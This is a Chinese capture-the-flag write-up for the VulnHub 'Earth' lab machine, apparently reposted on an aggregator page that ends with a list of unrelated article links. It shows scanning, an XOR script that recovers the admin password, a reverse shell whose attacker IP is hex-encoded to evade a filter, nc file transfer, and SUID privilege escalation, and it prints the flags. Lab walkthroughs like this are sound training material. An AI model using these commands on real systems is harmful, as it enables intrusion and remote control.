VulnHub Earth

news2024/12/28 5:40:01

一、信息收集

1.主机和端口扫描

nmap -sS 192.168.103.1/24

发现443端口有DNS解析,在hosts文件中添加DNS解析:

2.收集earth.local信息

发现有Previous Messages

37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40 3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45 2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

接下来扫描一下目录:

利用dirb扫描目录

3.收集terratest.earth.local信息

扫描一下目录:

发现有robots.txt文件,查看一下:

发现有个testingnotes文件,但是不知道是图中的哪种格式,手动测试后发现是txt格式,访问testingnotes.txt

 test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

测试安全消息系统注意事项:
*使用XOR加密作为算法,应该和RSA中使用的一样安全。
*地球已确认已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球?或者我们应该每周更换一次钥匙?
*需要测试不同的密钥长度以防止暴力破解。钥匙应该多长?
*需要改进消息界面和管理面板的界面,目前还很基础。

二、漏洞攻击

1.破解密码

写个简单py脚本,选一个Previous Messages数据,然后与 testdata.txt 进行一下 XOR 运算,得到密钥

import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

运行后得到以下数据:

0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

十六进制转文本解码一下:

密码是重复的,然后使用用户名 terra ,密码:earthclimatechangebad4humans 登录 https://earth.local/admin

2.user_flag

ls
find / -name "*flag*"  #使用find命令查找flag
cat /var/earth_web/user_flag.txt  #拿到user_flag
user_flag_3353b67d6437f07ba7d34afd7d2fc27d

3.使用反弹shell连接到靶机

把IP地址进行16进制转换,过滤

##4444端口
nc -lvp 4444
#攻击机IP
bash -i >& /dev/tcp/0xc0.0xa8.0x67.0x81/4444 0>&1

三、提权

查找有权限的命令:

find / -perm -u=s -type f 2>/dev/null

运行一下reset_root:

发现报错:

CHECKING IF RESET TRIGGERS PRESENT...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

检查是否存在重置触发器...重置失败,所有触发器都不存在。

本地没有调试的命令,使用nc传送到本地调试一下

##kali运行

nc -lvp 4444 >reset_root

##靶机运行

nc 192.168.103.129 4444 < /usr/bin/reset_root

使用 strace 命令进行调试

因为没有以下三个文件而报错,查看靶机发现也没有这三个文件:

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (没有那个文件或目录)

在靶机中创建这三个文件:

登录root用户

然后再靶机中尝试运行reset_root:

root_flag

取得root权限,查找flag:

root_flag_b0da9554d29db2117b02aa8b66ec492e

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1063706.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Verilator: sh: 1: exec: < PATHNAME >: not found

事出有因 I assumed that I install verilator via git clone its source, so I need to set the export VERILATOR_ROOT. At first, due to laziness, I just copy the code directly to my ubuntu. so stupid I am!!! Then, I recoginzed that the pathname is not real, …

Opengl之立方体贴图

简单来说,立方体贴图就是一个包含了6个2D纹理的纹理,每个2D纹理都组成了立方体的一个面:一个有纹理的立方体。你可能会奇怪,这样一个立方体有什么用途呢?为什么要把6张纹理合并到一张纹理中,而不是直接使用6个单独的纹理呢?立方体贴图有一个非常有用的特性,它可以通过一…

HTML5+CSS3+移动web 前端开发入门笔记(一)

千古前端图文教程 千古前端图文教程 git的使用 Git是一个分布式版本控制系统&#xff0c;它的作用主要包括以下几个方面&#xff1a; 版本管理&#xff1a;Git可以跟踪文件的修改历史&#xff0c;记录每次提交的内容、时间和作者等信息。通过Git&#xff0c;开发人员可以轻…

波奇学C++:红黑树

红黑树性质&#xff1a; 1.每个结点不是红色就是黑色。 2.根节点是黑色 3.如果一个节点是红色&#xff0c;它的两个孩子必须是黑色 4.对于每个节点&#xff0c;从该结点到其所有后代叶结点的简单路径上&#xff0c;均包含相同数目的黑色结点 5.每个叶结点都是黑色的&#xff08…

主机ping不通虚拟机,虚拟机可以ping同主机

问题&#xff1a;主机ping不通虚拟机 虚拟机可以ping通主机(192.168.43.140)和外网&#xff08;www.baidu.com) 解决方法&#xff1a; 1.打开【控制面板】-->【网络和Internet】-->【网络连接】 2.选择VMnet8 右键【属性】 3.修改 IP地址&#xff08;I&#xff09;和 子…

1、内核加载模块

一、静态加载 1、新功能源码与内核源码一起编译进uImage文件内 新功能源码与Linux内核源码在同一目录结构下在linux-3.14/drivers/char/目录下编写hello.c文件&#xff0c;内容如下 #include <linux/module.h> #include <linux/kernel.h>int __init myhello_ini…

oracle OCP OCM MySQL OCP认证难吗?

好多人在初次考OCP时&#xff0c;不知道如何选择&#xff0c;本文让姚远ACE老师为大家总结一下吧&#xff01; 选择OCP认证时要注意的问题&#xff1a; 1&#xff0c;授课老师师资经验&#xff08;非常重要&#xff09; 2&#xff0c;课程大纲 3&#xff0c;试听课程 4&am…

零食食品经营小程序商城的作用是什么

零食几乎可以涵盖每个年龄阶段&#xff0c;同时又是市场中常见的零售批发商品&#xff0c;在多个场景中都有销售/购买属性&#xff0c;对消费者来说&#xff0c;购买零食的渠道多种多样&#xff0c;无论线下还是线上&#xff0c;都可随心而购。 庞大市场升级促进下&#xff0c…

医学影像归档与通讯系统(PACS)系统源码 PACS三维图像后处理技术

医学影像归档与通讯系统&#xff08;PACS&#xff09;系统源码 PACS三维图像处理 医学影像归档与通讯系统&#xff08;PACS&#xff09;系统&#xff0c;是一套适用于从单一影像设备到放射科室、到全院级别等各种应用规模的医学影像归档与通讯系统。PACS集患者登记、图像采集、…

国庆特别篇:中秋与国庆同日相迎

国庆特别篇&#xff1a;中秋与国庆同日相迎 国庆特别篇&#xff1a;中秋与国庆同日相迎 &#x1f389;摘要引言旅途风景分享 &#x1f5fa;️中秋团圆&#xff0c;返乡之路风景宜人的旅游胜地 技术探讨&#xff1a;Java中的可变参数 &#x1f680;什么是可变参数&#xff1f;使…

RabbitMQ集群搭建详细介绍以及解决搭建过程中的各种问题——实操型

RabbitMQ集群搭建详细介绍以及解决搭建过程中的各种问题——实操型 1. 准备工作1.1 安装RabbitMQ1.2 简单部署搭建设计1.3 参考官网 2. RabbitMQ 形成集群的方法3. 搭建RabbitMQ集群3.1 部署架构3.2 rabbitmq集群基础知识3.2.1 关于节点名称&#xff08;标识符&#xff09;3.2.…

《操作系统真象还原》 第 01 章 部署工作环境 学习笔记

0. 内容说明 本内容依据《操作系统真象还原》进行学习&#xff0c;在学习过程中&#xff0c;由于新版本和旧版本bochs存在参数差异&#xff0c;故此会出现一些调试错误。也记录对应的解决方案。 1. 需要的编译器 对于现代OS来说&#xff0c;主要使用 C语言 和 汇编语言 两种…

剑指offer——JZ26 树的子结构 解题思路与具体代码【C++】

一、题目描述与要求 树的子结构_牛客题霸_牛客网 (nowcoder.com) 题目描述 输入两棵二叉树A&#xff0c;B&#xff0c;判断B是不是A的子结构。&#xff08;我们约定空树不是任意一个树的子结构&#xff09; 假如给定A为{8,8,7,9,2,#,#,#,#,4,7}&#xff0c;B为{8,9,2}&…

【智能家居项目】裸机版本——字体子系统 | 显示子系统

&#x1f431;作者&#xff1a;一只大喵咪1201 &#x1f431;专栏&#xff1a;《智能家居项目》 &#x1f525;格言&#xff1a;你只管努力&#xff0c;剩下的交给时间&#xff01; 今天实现上图整个项目系统中的字体子系统和显示子系统。 目录 &#x1f004;设计思路&#x1…

无法启动此程序,因为计算机中“找不到msvcp140.dll”的解决方法

msvcp140.dll是Microsoft Visual C 2015 Redistributable的一个动态链接库文件&#xff0c;它是许多基于Visual Studio开发的应用程序和游戏的必要组件。当计算机上缺失msvcp140.dll文件时&#xff0c;可能会导致以下问题&#xff1a; 1. 程序无法启动&#xff0c;提示“找不到…

【多线程安全】死锁 锁竞争总结

下面有两段代码&#xff1a; public class test {private static int count 0;public static void main(String[] args) throws InterruptedException {Thread t1 new Thread(() -> {for (int i 0; i < 10000; i) {count;}});Thread t2 new Thread(() -> {for (i…

速通Redis基础(一):掌握Redis的字符串类型和命令

目录 字符串&#xff08;String&#xff09; 常见命令 SET GET MSET&MGET SETNX INCR INCRBY DECR DECRBY INCRBYFLOAT APPEND GETRANGE SETRANGE STRLEN Redis字符串类型命令总结 Redis&#xff08;Remote Dictionary Server&#xff09;是一个高性能的…

机器学习基础之《分类算法(8)—随机森林》

一、什么是集成学习方法 1、定义 集成学习通过建立几个模型组合的来解决单一预测问题。它的工作原理是生成多个分类器/模型&#xff0c;各自独立地学习和作出预测。这些预测最后结合成组合预测&#xff0c;因此优于任何一个单分类的做出预测 谚语&#xff1a;三个臭皮匠顶个诸…

论文悦读(6)——PM操作系统之TreeSLS单级存储

TreeSLS &#xff08;SOSP23&#xff09; 1. 背景 (Background)1.1 内存-存储二级架构 (1, 2.1)1.2 单级架构 (2.2)1.3 总结 2. 动机 (Motivation)2.1 现有SLS性能低下 (2.3)2.2 现有SLS难以支持External Synchrony (1, 2.4)2.3 高速PM出现为SLS带来新的机遇与挑战 (1, 2.5) 3.…

CDN是什么?(网络零基础入门篇)

1.CDN的全称 是 Content Delivery Network&#xff0c;即内容分发网络。 其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节&#xff0c;使内容传输得更快、更稳定。 通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网…